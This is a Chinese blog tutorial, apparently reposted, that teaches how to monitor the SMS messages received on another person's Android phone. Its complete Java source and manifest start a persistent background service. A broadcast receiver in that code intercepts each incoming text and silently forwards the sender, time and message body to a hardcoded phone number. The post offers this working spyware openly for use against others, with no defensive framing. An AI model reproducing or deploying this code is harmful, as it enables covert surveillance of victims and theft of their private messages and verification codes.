android broadcast学习之监控他人手机接收的短信

来源:互联网 发布:王毅外交上的幼稚知乎 编辑:程序博客网 时间:2024/05/21 06:22

废话不多说,上代码先:

程序启动时调用的activity,在该activity中创建一个不绑定的service(防止程序退出后监控程序被关闭)

package com.demo.broadcast;import com.demo.broadcast.service.MessageListenerService;import android.app.Activity;import android.content.Intent;import android.os.Bundle;import android.widget.TextView;public class MainActivity extends Activity {    /** Called when the activity is first created. */private TextView tv ;    @Override    public void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.main);                tv = (TextView)findViewById(R.id.tv);                //启动一个不绑定activity的service        Intent intent = new Intent(MainActivity.this,MessageListenerService.class);        startService(intent);    }    }


  service类,在service被创建时注册一个广播接收器,用于监听是否接收到了短信,当service被销毁时取消注册的广播接收器

package com.demo.broadcast.service;import com.demo.broadcast.SmsMessageReceiver;import android.app.Service;import android.content.Intent;import android.content.IntentFilter;import android.os.IBinder;import android.util.Log;public class MessageListenerService extends Service{private static final String TAG = "MessageListenerService";    private SmsMessageReceiver messageReceiver;@Overridepublic IBinder onBind(Intent intent) {// TODO Auto-generated method stubLog.i(TAG, "*********onBind()**********");return null;}@Overridepublic void onCreate() {// TODO Auto-generated method stubsuper.onCreate();Log.i(TAG, "*********onCreate()**********");//注册监听广播messageReceiver = new SmsMessageReceiver();IntentFilter intentFilter = new IntentFilter();intentFilter.addAction("android.provider.Telephony.SMS_RECEIVED");registerReceiver(messageReceiver, intentFilter);}@Overridepublic void onDestroy() {// TODO Auto-generated method stubsuper.onDestroy();Log.i(TAG, "*********onDestroy()**********");//取消注册监听广播unregisterReceiver(messageReceiver);}}


broadcast类,监听手机是否接收到短信,当收到短信时会调用该类的onReceive()方法,在该方法里可以获取接收到的短信内容,然后发给指定的手机号上:

package com.demo.broadcast;import java.text.SimpleDateFormat;import java.util.Date;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.telephony.SmsManager;import android.telephony.SmsMessage;public class SmsMessageReceiver extends BroadcastReceiver{    //接收监控信息的手机号private String LINSTENER = "15555218135";@Overridepublic void onReceive(Context context, Intent intend) {// TODO Auto-generated method stubBundle bundle = intend.getExtras();Object messages[] = (Object[])bundle.get("pdus");SmsMessage smsMessage[] = new SmsMessage[messages.length];for(int i=0 ; i<messages.length; i++){smsMessage[i] = SmsMessage.createFromPdu((byte[])messages[i]);}//获取短信的发送者 String sender = smsMessage[0].getOriginatingAddress();// //获取短信内容String messageBody = smsMessage[0].getMessageBody();//获取短信的发送时间Date date = new Date(smsMessage[0].getTimestampMillis());           SimpleDateFormat format = new SimpleDateFormat(                   "yyyy-MM-dd HH:mm:ss");           String sendTime = format.format(date);                   // 把拦截到的短信发送到你指定的手机         SmsManager manager = SmsManager.getDefault();                 String linstenedMessage = "发件人:" + sender           + "  发送时间:" + sendTime + "  短信内容:" + messageBody;                manager.sendTextMessage(LINSTENER, null, linstenedMessage , null,                   null);     }}


AndroidManifest.xml,注意注册权限

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"      package="com.demo.broadcast"      android:versionCode="1"      android:versionName="1.0">           <!-- 注册权限 -->     <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>     <uses-permission android:name="android.permission.SEND_SMS"></uses-permission>    <application android:icon="@drawable/icon" android:label="@string/app_name">        <activity android:name=".MainActivity"                  android:label="@string/app_name">            <intent-filter>                <action android:name="android.intent.action.MAIN" />                <category android:name="android.intent.category.LAUNCHER" />            </intent-filter>        </activity>                <service android:name="com.demo.broadcast.service.MessageListenerService">        </service>    </application>    <uses-sdk android:minSdkVersion="8" /></manifest> 


 

0 0
原创粉丝点击